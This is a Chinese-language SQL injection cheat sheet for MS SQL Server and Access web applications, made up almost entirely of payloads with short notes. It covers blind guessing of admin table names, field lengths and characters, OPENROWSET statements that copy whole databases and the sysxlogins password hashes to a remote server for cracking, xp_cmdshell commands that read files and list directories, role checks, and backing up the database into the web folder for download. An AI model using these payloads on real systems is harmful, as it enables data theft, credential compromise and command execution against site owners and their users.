1.判断有无注入点
\’ ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=\’a\’) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=\’ab\’)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

读出第二个表，一个个的读出，直到没有为止。

1、 开启远程数据库
基本语法
select * from OPENROWSET(\’SQLOLEDB\’, \’server=servername;uid=sa;pwd=123\’, \’select * from table1\’ )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(\’SQLOLEDB\’, \’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’, \’select * from table\’
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(\’SQLOLEDB\’, \’server=servername;uid=sa;pwd=123\’, \’select * from table1\’) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from table1\’) select * from table2
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from _sysdatabases\’)
select * from master.dbo.sysdatabases
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from _sysobjects\’)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from _syscolumns\’)
select * from user_database.dbo.syscolumns
复制数据库：
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from table1\’) select * from database..table1
insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from table2\’) select * from database..table2
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(\’SQLOLEDB\’, \’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;\’,\’select * from _sysxlogins\’) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
\’;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
\’;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
\’;insert into temp(id) exec master.dbo.xp_subdirs \’c:\\\’;– 获得子目录列表
\’;insert into temp(id,num1) exec master.dbo.xp_dirtree \’c:\\\’;– 获得所有子目录的目录树结构,并寸入temp表中
\’;insert into temp(id) exec master.dbo.xp_cmdshell \’type c:\\web\\index.asp\’;– 查看某个文件的内容
\’;insert into temp(id) exec master.dbo.xp_cmdshell \’dir c:\\\’;–
\’;insert into temp(id) exec master.dbo.xp_cmdshell \’dir c:\\ *.asp /s/a\’;–
\’;insert into temp(id) exec master.dbo.xp_cmdshell \’cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs enum w3svc\’
\’;insert into temp(id,num1) exec master.dbo.xp_dirtree \’c:\\\’;– （xp_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER(\’sysadmin\’));–
语句2：and 1=(SELECT IS_SRVROLEMEMBER(\’serveradmin\’));–
语句3：and 1=(SELECT IS_SRVROLEMEMBER(\’setupadmin\’));–
语句4：and 1=(SELECT IS_SRVROLEMEMBER(\’securityadmin\’));–
语句5：and 1=(SELECT IS_SRVROLEMEMBER(\’securityadmin\’));–

语句8：and 1=(SELECT IS_SRVROLEMEMBER(\’bulkadmin\’));–
语句9：and 1=(SELECT IS_MEMBER(\’db_owner\’));–
把路径写到表中去：
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree \’c:\\\’–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(\’@Inetpub\’))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree \’e:\\web\’–
and 0<>(select top 1 paths from dirs1)–
把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to disk=\’e:\\web\\down.bak\’;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree \’c:\\\’
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree \’c:\\\’
